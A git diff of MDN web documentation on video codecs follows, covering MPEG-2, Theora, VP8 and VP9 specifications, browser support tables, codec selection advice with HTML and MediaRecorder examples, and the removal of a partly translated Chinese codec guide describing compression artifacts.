MPEG-2 Part 2 is the video format defined by the MPEG-2 specification, and is also occasionally referred to by its {{Glossary("ITU")}} designation, H.262. It is very similar to MPEG-1 video—in fact, any MPEG-2 player can automatically handle MPEG-1 without any special work—except it has been expanded to support higher bit rates and enhanced encoding techniques.

+ +

The goal was to allow MPEG-2 to compress standard definition television, so interlaced video is also supported. The standard definition compression rate and the quality of the resulting video met needs well enough that MPEG-2 is the primary video codec used for DVD video media.

+ +

MPEG-2 has several profiles available with different capabilities. Each profile is then available four levels, each of which increases attributes of the video, such as frame rate, resolution, bit rate, and so forth. Most profiles use Y'CbCr with 4:2:0 chroma subsampling, but more advanced profiles support 4:2:2 as well. In addition, there are four levels, each of which offers  support for larger frame dimensions and bit rates. For example, the {{interwiki("wikipedia", "ATSC standards", "ATSC")}} specification for television used in North America supports MPEG-2 video in high definition using the Main Profile at High Level, allowing 4:2:0 video at both 1920 x 1080 (30 FPS) and 1280 x 720 (60 FPS), at a maximum bit rate of 80 Mbps.

+ +

However, few web browsers support MPEG-2 without the support of a plugin, and with plugin use deprecated in web browsers, these are generally no longer available. This makes MPEG-2 a poor choice for use in web sites and web applications.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Supported bit ratesUp to 100 Mbps; varies by level and profile
Supported frame rates + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Abbr.Level nameFrame rates supported
LLLow Level23.9, 24, 25, 29.97, 30
MLMain Level23.976, 24, 25, 29.97, 30
H-14High 144023.976, 24, 26, 29.97, 30, 50, 59.94, 60
HLHigh Level23.976, 24, 26, 29.97, 30, 50, 59.94, 60
+
CompressionLossy DCT-based algorithm
Supported frame sizes + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Abbr.Level nameMaximum frame size
LLLow Level352 x 288 pixels
MLMain Level720 x 576 pixels
H-14High 14401440 x 1152 pixels
HLHigh Level1920 x 1152 pixels
+
Supported color modesY'CbCr with 4:2:0 chroma subsampling in most profiles; the "High" and "4:2:2" profiles support 4:2:2 chroma subsampling as well.
HDR supportNo
Variable Frame Rate (VFR) supportNo
Browser compatibility + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefoxInternet ExplorerOperaSafari
MPEG-2 supportNoNoNoNoNoYes
+
Container supportMPEG, MPEG-TS (MPEG Transport Stream), MP4, QuickTime
{{Glossary("RTP")}} / WebRTC compatibleNo
Supporting/Maintaining organizationMPEG / ITU
Specificationhttps://www.itu.int/rec/T-REC-H.262
+ https://www.iso.org/standard/61152.html
LicensingProprietary; all patents have expired worldwide with the exception of in Malaysia and the Philippines as of April 1, 2019, so MPEG-2 can be used freely outside those two countries. Patents are licensed by MPEG LA.
+ +

Theora

+ +

{{interwiki("wikipedia", "Theora")}}, developed by Xiph.org, is an open and free video codec which may be used without royalties  or licensing. Theora is comparable in quality and compression rates to MPEG-4 Part 2 Visual and AVC, making it a very good if not top-of-the-line choice for video encoding. But its status as being free from any licensing concerns and its relatively low CPU resource requirements make it a popular choice for many software and web projects. The low CPU impact is particularly useful since there are no hardware decoders available for Theora.

+ +

Theora was originally based upon the VC3 codec by On2 Technologies. The codec and its specification were released under the LGPL license and entrusted to Xiph.org, which then developed it into the Theora standard.

+ +

One drawback to Theora is that it only supports 8 bits per color component, with no option to use 10 or more in order to avoid color banding. That said, 8 bits per component is still the most commonly-used color format in use today, so this is only a minor inconvenience in most cases. Also, Theora can only be used in an Ogg container. The biggest drawback of all, however, is that it is not supported by Safari, leaving Theora unavailable not only on macOS but on all those millions and millions of iPhones and iPads.

+ +

The Theora Cookbook offers additional details about Theora as well as the Ogg container format it is used within.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Supported bit ratesUp to 2 Gbps
Supported frame ratesArbitrary; any non-zero value is supported. The frame rate is specified as a 32-bit numerator and a 32-bit denominator, to allow for non-integer frame rates.
CompressionLossy DCT-based algorithm
Supported frame sizesAny combination of width and height up to 1,048,560 x 1,048,560 pixels
Supported color modesY'CbCr with 4:2:0, 4:2:2, and 4:4:4 chroma subsampling at 8 bits per component
HDR supportNo
Variable Frame Rate (VFR) supportYes[1]
Browser compatibility + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefoxInternet ExplorerOperaSafari
Theora support3Yes[2]3.5No10.5No
+
Container supportOgg
{{Glossary("RTP")}} / WebRTC compatibleNo
Supporting/Maintaining organizationXiph.org
Specificationhttps://www.theora.org/doc/
LicensingOpen and free of royalties and any other licensing requirements
+ +

[1] While Theora doesn't support Variable Frame Rate (VFR) within a single stream, multiple streams can be chained together within a single file, and each of those can have its own frame rate, thus allowing what is essentially VFR. However, this is impractical if the frame rate needs to change frequently.

+ +

[2] Edge supports Theora with the optional Web Media Extensions add-on.

+ +

VP8

+ +

The Video Processor 8 (VP8) codec was initially created by On2 Technologies. Following their purchase of On2, Google released VP8 as an open and royalty-free video format under a promise not to enforce the relevant patents. In terms of quality and compression rate, VP8 is comparable to {{anch("AVC")}}.

+ +

If supported by the browser, VP8 allows video with an alpha channel, allowing the video to play with the background able to be seen through the video to a degree specified by each pixel's alpha component.

+ +

There is good browser support for VP8 in HTML content, especially within WebM files. This makes VP8 a good candidate for your content, although VP9 is an even better choice if available to you. Web browsers are required to support VP8 for WebRTC, but not all browsers that do so also support it in HTML audio and video elements.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Supported bit ratesArbitrary; no maximum unless level-based limitations are enforced
Supported frame ratesArbitrary
CompressionLossy DCT-based algorithm
Supported frame sizesUp to 16,384 x 16,384 pixels
Supported color modesY'CbCr with 4:2:0 chroma subsampling at 8 bits per component
HDR supportNo
Variable Frame Rate (VFR) supportYes
Browser compatibility + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefoxInternet ExplorerOperaSafari
VP8 support2514[1]491612.1[2]
MSE compatibilityYes3
+
Container support3GP, Ogg, WebM
{{Glossary("RTP")}} / WebRTC compatibleYes; VP8 is one of the spec-required codecs for WebRTC
Supporting/Maintaining organizationGoogle
Specification{{RFC(6386)}}
LicensingOpen and free of royalties and any other licensing requirements
+ +

[1] Edge support for VP8 requires the use of Media Source Extensions.

+ +

[2] Safari only supports VP8 in WebRTC connections.

+ +

[3] Firefox only supports VP8 in MSE when no H.264 hardware decoder is available. Use {{domxref("MediaSource.isTypeSupported()")}} to check for availability.

+ +

VP9

+ +

Video Processor 9 (VP9) is the successor to the older VP8 standard developed by Google. Like VP8, VP9 is entirely open and royalty-free. Its encoding and decoding performance is comparable to or slightly faster than that of AVC, but with better quality. VP9's encoded video quality is comparable to that of HEVC at similar bit rates.

+ +

VP9's main profile supports only 8-bit color depth at 4:2:0 chroma subsampling levels, but its profiles include support for deeper color and the full range of chroma subsampling modes. It supports several HDR imiplementations, and offers substantial freedom in selecting frame rates, aspect ratios, and frame sizes.

+ +

VP9 is widely supported by browsers, and hardware implementations of the codec are fairly common. VP9 is one of the two video codecs mandated by WebM (the other being {{anch("VP8")}}). Of note, however, is that Safari supports neither WebM nor VP9, so if you choose to use VP9, be sure to offer a fallback format such as AVC or HEVC for iPhone, iPad, and Mac users.

+ +

Aside from the lack of Safari support, VP9 is a good choice if you are able to use a WebM container and are able to provide a fallback video in a format such as AVC or HEVC for Safari users. This is especially true if you wish to use an open codec rather than a proprietary one. If you can't provide a fallback and aren't willing to sacrifice Safari compatibility, VP9 in WebM is a good option. Otherwise, you should probably consider a different codec.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Supported bit ratesArbitrary; no maximum unless level-based limitations are enforced
Supported frame ratesArbitrary
CompressionLossy DCT-based algorithm
Supported frame sizesUp to 65,536 x 65,536 pixels
Supported color modes + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
ProfileColor depthsChroma subsampling
Profile 084:2:0
Profile 184:2:0, 4:2:2, and 4:4:4
Profile 210 to 124:2:0
Profile 310 to 124:2:0, 4:2:2, and f:4:4
+ +

Color spaces supported: {{interwiki("wikipedia", "Rec. 601")}}, {{interwiki("wikipedia", "Rec. 709")}}, {{interwiki("wikipedia", "Rec. 2020")}}, {{interwiki("wikipedia", "SMPTE C")}}, SMPTE-240M (obsolete; replaced by Rec. 709), and {{interwiki("wikipedia", "sRGB")}}.

+
HDR supportYes; HDR10+, HLG, and PQ
Variable Frame Rate (VFR) supportYes
Browser compatibility + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefoxInternet ExplorerOperaSafari
VP9 support291428No10.6No
MSE compatibilityYes1
+
Container supportMP4, Ogg, WebM
{{Glossary("RTP")}} / WebRTC compatibleYes
Supporting/Maintaining organizationGoogle
Specificationhttps://www.webmproject.org/vp9/
LicensingOpen and free of royalties and any other licensing requirements
+ +

[1] Firefox only supports VP8 in MSE when no H.264 hardware decoder is available. Use {{domxref("MediaSource.isTypeSupported()")}} to check for availability.

+ +

Choosing a video codec

+ +

The decision as to which codec or codecs to use begins with a series of questions to prepare yourself:

+ +
    +
  • Do you wish to use an open format, or are proprietary formats also to be considered?
  • +
  • Do you have the resources to produce more than one format for each of your videos? The ability to provide a fallback option vastly simplifies the decision-making process.
  • +
  • Are there any browsers you're willing to sacrifice compatibility with?
  • +
  • How old is the oldest version of web browser you need to support? For example, do you need to work on every browser shipped in the past five yeras, or just the past one year?
  • +
+ +

In the sections below, we offer recommended codec selections for specific use cases. For each use case, you'll find up to two reccommendations. If the codec which is considered best for the use case is proprietary or may require royalty payments, then two options are provided: first, an open and royalty-free option, followed by the proprietary one.

+ +

If you are only able to offer a single version of each video, you can choose the format that's most appropriate for your needs.The first one is recommended as being a good combnination of quality, performance, and compatibility. The second option will be the most broadly compatible choice, at the expense of some amount of quality, preformance, and/or size.

+ +

Recommendations for everyday videos

+ +

First, let's look at the best options for videos presented on a typical web site such as a blog, informational site, small business web site where videos are used to demonstrate products (but not where the videos themselves are a product), and so forth.

+ +
    +
  1. +

    A WebM container using the {{anch("VP8")}} codec for video and the Opus codec for audio. These are all open, royalty-free formats which are generally well-supported, although only in quite recent browsers, which is why a fallback is a good idea.

    + +
    <video controls src="filename.webm"></video>
    +
    +
  2. +
  3. +

    An MP4 container and the {{anch("AVC")}} (H.264) video codec, ideally with AAC as your audio codec. This is because the MP4 container with AVC and AAC codecs within is a broadly-supported combination—by every major browser, in fact—and the quality is typically good for most use cases. Make sure you verify your compliance with the license requirements, however.

    + +
    <video controls>
    +  <source type="video/webm"
    +          src="filename.webm">
    +  <source type="video/mp4"
    +          src="filename.mp4">
    +</video>
    +
    +
  4. +
+ +
+

Note: Keep in mind that the {{HTMLElement("<video>")}} element requires a closing </video> tag, whether or not you have any {{HTMLElement("source")}} elements inside it.

+
+ +

Recommendations for high-quality video presentation

+ +

If your mission is to present video at the highest possible quality, you will probably benefit from offering as many formats as possible, as the codecs capable of the best quality tend also to be the newest, and thus the most likely to have gaps in browser compatibility.

+ +
    +
  1. +

    A WebM container using AV1 for video and Opus for audio. If you're able to use the High or Professional profile when encoding AV1, at a high level like 6.3, you can get very high bit rates at 4K or 8K resolution, while maintaining excellent video quality. Encoding your audio using Opus's Fullband profile at a 48 kHz sample rate maximizes the audio bandwidth captured, capturing nearly the entire frequency range that's within human hearing.

    + +
    <video controls src="filename.webm"></video>
    +
    +
  2. +
  3. +

    An MP4 container using the {{anch("HEVC")}} codec using one of the advanced Main profiles, such as Main 4:2:2 with 10 or 12 bits of color depth, or even the Main 4:4:4 profile at up to 16 bits per component. At a high bit rate, this provides excellent graphics quality with remarkable color reproduction.  In addition, you can optionally include HDR metadata to provide high dynamic range video. For audio, use the AAC codec at a high sample rate (at least 48 kHz but ideally 96kHz) and encoded with complex encoding rather than fast encoding.

    + +
    <video controls>
    +  <source type="video/webm"
    +          src="filename.webm">
    +  <source type="video/mp4"
    +          src="filename.mp4">
    +</video>
    +
    +
  4. +
+ +

Recommendations for archival, editing, or remixing

+ +

There are not currently any lossless—or even near-lossless—video codecs generally available in web browsers. The reason for this is simple: video is huge. Lossless compression is by definition less effective than lossy compression. For example, uncompressed 1080p video (1920 by 1080 pixels) with 4:2:0 chroma subsampling needs at least 1.5 Gbps. Using lossless compression such as FFV1 (which is not supported by web browsers) could perhaps reduce that to somewhere around 600 Mbps, depending on the content. That's still a huge number of bits to pump through a connection every second, and is not currently practical for any real-world use.

+ +

This is the case even though some of the lossy codecs have a lossless mode available; the lossless modes are not implemented in any current web browsers. The best you can do is to select a high-quality codec that uses lossy compression and configure it to perform as little compression as possible. One way to do this is to configure the codec to use "fast" compression, which inherently means less compression is achieved.

+ +

Preparing video externally

+ +

To prepare video for archival purposes from outside your web site or app, use a utility that performs compression on the original uncompressed video data. For example, the free x264 utility can be used to encode video in {{anch("AVC")}} format using a very high bit rate:

+ +
x264 --crf 18 -preset ultrafast --output outfilename.mp4 infile
+ +

While other codecs may have better best-case quality levels when compressing the video by a significant margin, their encoders tend to be slow enough that the nearly-lossless encoding you get with this compression is vastly faster at about the same overall quality level.

+ +

Recording video

+ +

Given the constraints on how close to lossless you can get, you might consider using {{anch("AVC")}} or {{anch("AV1")}}. For example, if you're using the MediaStream Recording API to record video, you might use code like the following when creating your {{domxref("MediaRecorder")}} object:

+ +
const kbps = 1024;
+const Mbps = kbps*kbps;
+
+const options = {
+  mimeType: 'video/webm; codecs="av01.2.19H.12.0.000.09.16.09.1, flac"',
+  bitsPerSecond: 800*Mbps,
+};
+
+let recorder = new MediaRecorder(sourceStream, options);
+ +

This example creates a MediaRecorder configured to record {{anch("AV1")}} video using BT.2100 HDR in 12-bit color with 4:4:4 chroma subsampling and FLAC for lossless audio. The resulting file will use a bit rate of no more than 800 Mbps shared between the video and audio tracks. You will likely need to adjust these values depending on hardware performance, your requirements, and the specific codecs you choose to use. This bit rate is obviously not realistic for network transmission and would likely only be used locally.

+ +

Breaking down the value of the codecs parameter into its dot-delineated properties, we see the following:

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
ValueDesccription
av01The four-character code (4CC) designation identifying the {{anch("AV1")}} codec.
2The profile. A value of 2 indicates the Professional profile. A value of 1 is the High profile, while a value of 0 would specify the Main profile.
19HThe level and tier. This value comes from the table in section A.3 of the AV1 specification, and indicates the high tier of Level 6.3.
12The color depth. This indicates 12 bits per component. Other possible values are 8 and 10, but 12 is the highest-accuracy color representation available in AV1.
0The monochrome mode flag. If 1, then no chroma planes would be recorded, and all data should be structly luma data, resulting in a greyscale image. We've specified 0 because we want color.
000The chroma subsampling mode, taken from section 6.4.2 in the AV1 specification. A value of 000, combined with the monochrome mode value 0, indicates that we want 4:4:4 chroma subsampling, or no loss of color data.
09The color primaries to use. This value comes from section 6.4.2 in the AV1 specification; 9 indicates that we want to use BT.2020 color, which is used for HDR.
16The transfer characteristics to use. This comes from section 6.4.2 as well; 16 indicates that we want to use the characteristics for BT.2100 PQ color.
09The matrix coefficents to use, from the section 6.4.2 again. A value of 9 specifies that we want to use BT.2020 with variable luminance; this is also known as BT.2010 YbCbCr.
1The video "full range" flag. A value of 1 indicates that we want the full color range to be used.
+ +

The documentation for your codec choices will probably offer information you'll use when constructing your codecs parameter.

+ +

See also

+ + diff --git "a/files/zh-cn/web/media/formats/\350\247\206\351\242\221\347\274\226\350\247\243\347\240\201\345\231\250/index.html" "b/files/zh-cn/web/media/formats/\350\247\206\351\242\221\347\274\226\350\247\243\347\240\201\345\231\250/index.html" deleted file mode 100644 index d299975762..0000000000 --- "a/files/zh-cn/web/media/formats/\350\247\206\351\242\221\347\274\226\350\247\243\347\240\201\345\231\250/index.html" +++ /dev/null @@ -1,1673 +0,0 @@ ---- -title: 网络视频编解码器指南 -slug: Web/Media/Formats/视频编解码器 -translation_of: Web/Media/Formats/Video_codecs ---- -
{{QuickLinksWithSubpages("/en-US/docs/Web/Media")}}
- -

未经压缩的视频的数据量太大了,我们有必要进行很多压缩处理来存储视频,就更不用说通过网络传输视频的时候了。想象一下我们需要多少数据来存储未经压缩的视频:

- -
    -
  • 全色彩的高清视频(1920x1080)每一帧为 8,294,400 字节。
  • -
  • 按照典型的每秒30帧的传播速度,高清视频每秒钟会占用 248,832,000 字节(约 249 MB)。
  • -
  • 一分钟的高清视频将需要 1.39GB 的存储空间。
  • -
  • 一个相当典型的30分钟视频会议将需要约 47.1GB 的存储空间,而2小时的电影则需要将近 166GB 的存储空间。
  • -
- -

不仅仅是需要的存储空间很大的问题,以 249MB 每秒的速度传输这样的未压缩的视频所需要的网络带宽也很大(不包括音频和开销)。这就是为什么我们需要视频编解码器。就像音频编解码器对声音数据所做的处理一样,视频编解码器会压缩视频数据并将其编码为一种格式,以后我们可以对其进行解码,播放或者编辑。

- -

大多数的视频编解码器是有损的(解码后的视频与原来的视频不完全匹配)。一些细节可能会丢失,丢失的数量取决于编解码器和它的配置方式。通常来说,压缩程度越高,细节丢失的越多,视频失真更严重。虽然现在也有一些无损编解码器,但是通常都是用于存档和存储在本地来进行本地回放的,而不是在网络上使用。

- -

本指南介绍了一些你可能遇到或者考虑去使用的网络视频编解码器的功能以及一些兼容性和实用性问题。并且帮助您为项目视频选择正确的编解码器提供一些建议。

- -

通用编解码器

- -

以下视频编解码器是网上最常用的视频编解码器。每个编解码器都列出了它们可以支持的文件类型。每个编解码器都提供了一个指向下文相关部分详细内容的快捷链接,包含一些您可能需要了解的特定功能和兼容性问题。

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
编解码器名称 (简称)编解码器全称支持文件类型
AV1AOMedia Video 1MP4, WebM
AVC (H.264)Advanced Video Coding3GP, MP4, WebM
H.263H.263 Video3GP
HEVC (H.265)High Efficiency Video CodingMP4
{{anch("MP4V-ES")}}MPEG-4 Video Elemental Stream3GP, MP4
{{anch("MPEG-1")}}MPEG-1 Part 2 VisualMPEG, QuickTime
{{anch("MPEG-2")}}MPEG-2 Part 2 VisualMP4, MPEG, QuickTime
TheoraTheoraOgg
VP8Video Processor 83GP, Ogg, WebM
VP9Video Processor 9MP4, Ogg, WebM
- -

影响编码视频的因素

- -

和任何编码器一样,有两个会影响到编码视频大小和质量的因素:源视频的格式和内容,以及在对视频进行编码时候使用的编解码器的特性和配置。

- -

最简单的原则是:如果要让编码视频看起来更像原始的未压缩过的视频,那么通常得到的视频会更大。因此我们始终要在尺寸和质量之间进行权衡。在某些情况下,我们会为了降低数据大小而接受质量的损失。但是其他时候,我们不能接受质量损失,所以我们必须接受会导致文件相应增大的编码器配置。

- -

源视频格式对编码输出的影响

- -

源视频格式影响编码输出的程度取决于编解码器及其工作方式。如果编解码器将视频媒体转换为内部像素的格式,或者使用使用简单像素以外的方法表示图像,那么原始图像的格式对编码输出没有什么影响。但是,诸如帧频和分辨率之类始终会对媒体视频的输出大小产生影响。

- -

Additionally, all codecs have their strengths and weaknesses. Some have trouble with specific kinds of shapes and patterns, or aren't good at replicating sharp edges, or tend to lose detail in dark areas, or any number of possibilities. It all depends on the underlying algorithms and mathematics.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
The potential effect of source video format and contents on the encoded video quality and size
Feature对质量的影响对尺寸的影响
Color depth (bit depth)颜色位深越高,视频中颜色保真度质量就越高。除此之外,在图像饱和部分(颜色纯而强烈的,例如明亮纯红色[rgba(255,0,0,1)),低于每分量10色深(10bits色彩)允许条带化,其中,如果没有可见色阶跃就无法表示渐变。Depending on the codec, higher color depths may result in larger compressed file sizes. The determining factor is what internal storage format is used for the compressed data.
Frame ratePrimarily affects the perceived smoothness of the motion in the image. To a point, the higher the frame rate, the smoother and more realistic the motion will appear. Eventually the point of diminishing returns is reached. See {{anch("Frame rate")}} below for details.Assuming the frame rate is not reduced during encoding, higher frame rates cause larger compressed video sizes.
MotionCompression of video typically works by comparing frames, finding where they differ, and constructing records containing enough information to update the previous frame to approximate the appearance of the following frame. The more successive frames differ from one another, the larger these differences are, and the less effective the compression is at avoiding the introduction of artifacts into the compressed video.The complexity introduced by motion results in larger intermediate frames due to the higher number of differences between frames). For this and other reasons, the more motion there is in a video, the larger the output file will typically be.
NoisePicture noise (such as film grain effects, dust, or other grittiness to the image) introduces variability. Variability generally makes compression more difficult, resulting in more lost quality due to the need to drop details to achieve the same level of compression.The more variability—such as noise—there is in the image, the more complex the compression process and the less success the algorithm is likely to have compressing the image to the same degree. Unless you configure the encoder in a way that ignores some or all of the variations caused by noise, the compressed video will be larger.
Resolution (width and height)Higher resolution video, presented in the same screen size, will typically be able to more accurately portray the original scene, barring effects introduced during compression.The higher the resolution of a video, the larger it gets. This plays a key role in the final size of the video.
- -

The degree to which these affect the resulting encoded video will vary depending on the precise details of the situation, including which encoder you use and how it's configured. In addition to general codec options, the encoder could be configured to reduce the frame rate, to clean up noise, and/or to reduce the overall resolution of the video during encoding.

- -

Effect of codec configuration on encoded output

- -

The algorithms used do encode video typically use one or more of a number of general techniques to perform their encoding. Generally speaking, any configuration option that is intended to reduce the output size of the video will probably have a negative impact on the overall quality of the video, or will introduce certain types of artifacts into the video. It's also possible to select a lossless form of encoding, which will result in a much larger encoded file but with perfect reproduction of the original video upon decoding.

- -

In addition, each encoder utility may have variations in how they process the source video, resulting in differences in the output quality and/or size.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Video encoder configuration effects on quality and size
FeatureEffect on qualityEffect on size
Lossless compressionNo loss of qualityLossless compression cannot reduce the overall video size nearly as much as lossy compression; the resulting files are likely to still be too large for general usage.
Lossy compressionTo some degree, artifacts and other forms of quality degradation wil occur, depending on the specific codec and how much compression is being appliedThe more the encoded video is allowed to deviate from the source, the easier it is to accomplish higher compression rates
Quality settingThe higher the quality configuration, the more like the original media the encoded video will lookIn general, higher quality settings will result in larger encoded video files; the degree to which this is true varies depending on the codec
Bit rateQuality generally improves with higher bit ratesHigher bit rates inherently lead to larger output files
- -

The options available when encoding video, and the values to be assigned to those options, will vary not only from one codec to another but depending on the encoding software you use. The documentation included with your encoding software will help you to understand the specific impact of these options on the encoded video.

- -

Compression artifacts

- -

Artifacts are side effects of a lossy encoding process in which the lost or rearranged data results in visibly negative effects. Once an artifact has appeared, it may linger for a while, because of how video is displayed. Each frame of video is presented by applying a set of changes to the currently-visible frame. This means that any errors or artifacts will compound over time, resulting in glitches or otherwise strange or unexpected deviations in the image that linger for a time.

- -

To resolve this, and to improve seek time through the video data, periodic key frames (also known as intra-frames or i-frames) are placed into the video file. The key frames are full frames, which are used to repair any damage or artifact residue that's currently visible.

- -

Aliasing

- -

Aliasing is a general term for anything that upon being reconstructed from the encoded data does not look the same as it did before compression. There are many forms of aliasing; the most common ones you may see include:

- - - - - - - - - - - - - - - - -
-

Moiré patterns

- -

A {{interwiki("Moiré pattern")}} is a large-scale spatial interference pattern produced when a pattern in the source image and the manner in which the encoder operates are slightly out of alignment spatially. The artifacts generated by the encoder then introduce strange, swirling effects in the source image's pattern upon decoding.

-
-

Staircase effect

- -

The staircase effect is a spatial artifact that occurs when diagonal straight or curved edges that should be smooth take on a jagged appearance, looking somewhat like a set of stair steps. This is the effect that is being reduced by "anti-aliasing" filters.

-
-

Wagon-wheel effect

- -

The wagon-wheel effect (or {{interwiki("wikipedia", "stroboscopic effect")}}) is the visual effect that's commonly seen in film, in which a turning wheel appears to rotate at the wrong speed, or even in reverse, due to an interaction between the frame rate and the compression algorithm. The same effect can occur with any repeating pattern that moves, such as the ties on a railway line, posts along the side of a road, and so forth. This is a temporal (time-based) aliasing issue; the speed of the rotation interferes with the frequency of the sampling performed during compression or encoding.

-
- -

Color edging

- -

Color edging is a type of visual artifact that presents as spurious colors introduced along the edges of colored objects within the scene. These colors have no intentional color relationship to the contents of the frame.

- -

 Loss of sharpness

- -

The act of removing data in the process of encoding video requires that some details be lost. If enough compression is applied, parts or potentially all of the image could lose sharpness, resulting in a slightly fuzzy or hazy appearance.

- -

Lost sharpness can make text in the image difficult to read, as text—especially small text—is very detail-oriented content, where minor alterations can significantly impact legibility.

- -

Ringing

- -

Lossy compression algorithms can introduce {{interwiki("wikipedia", "ringing artifacts", "ringing")}}, an effect where areas outside an object are contaminated with colored pixels generated by the compression algorithm. This happens when an algorithm that uses blocks that span across a sharp boundary between an object and its background. This is particularly common at higher compression levels.

- -

Example of the ringing effect

- -

Note the blue and pink fringes around the edges of the star above (as well as the stepping and other significant compression artifacts). Those fringes are the ringing effect. Ringing is similar in some respects to {{anch("Mosquito noise", "mosquito noise")}}, except that while the ringing effect is more or less steady and unchanging, mosquito noise shimmers and moves.

- -

RInging is another type of artifact that can make it particularly difficult to read text contained in your images.

- -

Posterizing

- -

Posterization occurs when the compression results in the loss of color detail in gradients. Instead of smooth transitions through the various colors in a region, the image becomes blocky, with blobs of color that approximate the original appearance of the image.

- -

- -

Note the blockiness of the colors in the plumage of the bald eagle in the photo above (and the snowy owl in the background). The details of the feathers is largely lost due to these posterization artifacts.

- -

Contouring

- -

Contouring or color banding is a specific form of posterization in which the color blocks form bands or stripes in the image. This occurs when the video is encoded with too coarse a quantization configuration. As a result, the video's contents show a "layered" look, where instead of smooth gradients and transitions, the transitions from color to color are abrupt, causing strips of color to appear.

- -

Example of an image whose compression has introduced contouring

- -

In the example image above, note how the sky has bands of different shades of blue, instead of being a consistent gradient as the sky color changes toward the horizon. This is the contouring effect.

- -

Mosquito noise

- -

Mosquito noise is a temporal artifact which presents as noise or edge busyness that appears as a flickering haziness or shimmering that roughly follows outside the edges of objects with hard edges or sharp transitions between foreground objects and the background. The effect can be similar in appearance to {{anch("Ringing", "ringing")}}.

- -

- -

The photo above shows mosquito noise in a number of places, including in the sky surrounding the bridge. In the upper-right corner, an inset shows a close-up of a portion of the image that exhibits mosquito noise.

- -

Mosquito noise artifacts are most commonly found in MPEG video, but can occur whenever a discrete cosine transform (DCT) algorithm is used; this includes, for example, JPEG still images.

- -

Motion compensation block boundary artifacts

- -

Compression of video generally works by comparing two frames and recording the differences between them, one frame after another, until the end of the video. This technique works well when the camera is fixed in place, or the objects in the frame are relatively stationary, but if there is a great deal of motion in the frame, the number of differences between frames can be so great that compression doesn't do any good.

- -

{{interwiki("wikipedia", "Motion compensation")}} is a technique that looks for motion (either of the camera or of objects in the frame of view) and determines how many pixels the moving object has moved in each direction. Then that shift is stored, along with a description of the pixels that have moved that can't be described just by that shift. In essence, the encoder finds the moving objects, then builds an internal frame of sorts that looks like the original but with all the objects translated to their new locations. In theory, this approximates the new frame's appearance. Then, to finish the job, the remaining differences are found, then the set of object shifts and the set of pixel differences are stored in the data representing the new frame. This object that describes the shift and the pixel differences is called a residual frame.

- - - - - - - - - - - - - - - - - - - - - - - - -
Original frameInter-frame differencesDifference after motion compensation
Original frame of videoDifferences between the frames after shifting two pixels right
The first full frame as seen by the viewer.Here, only the differences between the first frame and the following frame are seen. Everything else is black. Looking closely, we can see that the majority of these differences come from a horizontal camera move, making this a good candidate for motion compensation.To minimize the number of pixels that are different, here we take into account the panning of the camera by first shifting the first frame to the right by two pixels, then by taking the difference. This compensates for the panning of the camera, allowing for more overlap between the two frames.
Images from Wikipedia
- -

There are two general types of motion compensation: global motion compensation and block motion compensation. Global motion compensation generally adjusts for camera movements such as tracking, dolly movements, panning, tilting, rolling, and up and down movements. Block motion compensation handles localized changes, looking for smaller sections of the image that can be encoded using motion compensation. These blocks are normally of a fixed size, in a grid, but there are forms of motion compensation that allow for variable block sizes, and even for blocks to overlap.

- -

There are, however, artifacts that can occur due to motion compensation. These occur along block borders, in the form of sharp edges that produce false ringing and other edge effects. These are due to the mathematics involved in the coding of the residual frames, and can be easily noticed before being repaired by the next key frame.

- -

Reduced frame size

- -

In certain situations, it may be useful to reduce the video's dimensions in order to improve the final size of the video file. While the immediate loss of size or smoothness of playback may be a negative factor, careful decision-making can result in a good end result. If a 1080p video is reduced to 720p prior to encoding, the resulting video can be much smaller while having much higher visual quality; even after scaling back up during playback, the result may be better than encoding the original video at full size and accepting the quality hit needed to meet your size requirements.

- -

Reduced frame rate

- -

Similarly, you can remove frames from the video entirely and decrease the frame rate to compensate. This has two benefits: it makes the overall video smaller, and that smaller size allows motion compensation to accomplish even more for you. For exmaple, instead of computing motion differences for two frames that are two pixels apart due to inter-frame motion, skipping every other frame could lead to computing a difference that comes out to four pixels of movement. This lets the overall movement of the camera be represented by fewer residual frames.

- -

The absolute minimum frame rate that a video can be before its contents are no longer perceived as motion by the human eye is about 12 frames per second. Less than that, and the video becomes a series of still images. Motion picture film is typically 24 frames per second, while standard definition television is about 30 frames per second (slightly less, but close enough) and high definition television is between 24 and 60 frames per second. Anything from 24 FPS upward will generally be seen as satisfactorily smooth; 30 or 60 FPS is an ideal target, depending on your needs.

- -

In the end, the decisions about what sacrifices you're able to make are entirely up to you and/or your design team.

- -

Codec details

- -

AV1

- -

The AOMedia Video 1 (AV1) codec is an open format designed by the Alliance for Open Media specifically for internet video. It achieves higher data compression rates than {{anch("VP9")}} and {{anch("HEVC", "H.265/HEVC")}}, and as much as 50% higher rates than AVC. AV1 is fully royalty-free and is designed for use by both the {{HTMLElement("video")}} element and by WebRTC.

- -

AV1 currently offers three profiles: main, high, and professional with increasing support for color depths and chroma subsampling. In addition, a series of levels are specified, each defining limits on a range of attributes of the video. These attributes include frame dimensions, image area in pixels, display and decode rates, average and maximum bit rates, and limits on the number of tiles and tile columns used in the encoding/decoding process.

- -

